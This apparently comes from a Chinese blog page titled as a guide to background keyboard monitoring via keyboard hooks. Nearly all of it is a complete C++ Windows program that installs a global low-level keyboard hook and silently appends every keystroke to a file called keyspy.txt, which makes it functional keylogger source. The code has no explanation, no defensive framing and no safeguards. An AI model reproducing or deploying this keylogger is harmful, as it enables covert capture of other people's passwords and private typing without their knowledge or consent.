您的位置:首页 > 运维架构

用键盘钩子截获键盘消息,后台监控键盘输入

2014-09-12 19:08 211 查看
#include <iostream>

#include <Windows.h>

#include <stdio.h>

using namespace std;

HINSTANCE g_Instance;   // Handler of current instance

HHOOK     g_Hook;       // Handler of hook

BOOL SetHook();

BOOL UnSetHook();

static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);

bool IsCaptialState()

{

    bool IsCapital = false;

    bool IsShiftDown = false;

    if (GetKeyState(VK_CAPITAL))

    {

        IsCapital = true;

    }

    if (GetAsyncKeyState(VK_SHIFT))

    {

        IsShiftDown = true;

    }

    bool bFinalState = IsCapital ^ IsShiftDown;

    return bFinalState;

}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

    char ch = 0;

    FILE *stream = NULL;

    if (wParam == WM_KEYDOWN)

    {

        KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam; 

        freopen_s(&stream, "keyspy.txt","a",stdout);

        ch = MapVirtualKey(pStruct->vkCode, 2);

        if (ch>='A' && ch <='Z' && !IsCaptialState())

        {

            ch = ch + 32;

        }

        printf("%c", ch);

        fclose(stream);

    }

    return ::CallNextHookEx(g_Hook, nCode, wParam, lParam);

}

BOOL SetHook()

{

    if (g_Instance || g_Hook) // Already hooked!

        return TRUE;

    g_Instance = (HINSTANCE)::GetModuleHandle(NULL);

    g_Hook     = ::SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, g_Instance, 0);

    if (!g_Hook)

    {

        return FALSE;

    }

    return TRUE; // Hook has been created correctly

}

BOOL UnSetHook()

{

    if (g_Hook) { // Check if hook handler is valid

        ::UnhookWindowsHookEx(g_Hook); // Unhook is done here

        g_Hook = NULL; // Remove hook handler to avoid to use it again

    }

    return TRUE; // Hook has been removed

}

int main()

{

    if (!SetHook())

        return -1;

    MSG msg;

    while(::GetMessage(&msg, NULL, 0, 0) > 0)

    {

        TranslateMessage(&msg);

        DispatchMessage(&msg);

    }

    UnSetHook();

    return 0;

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息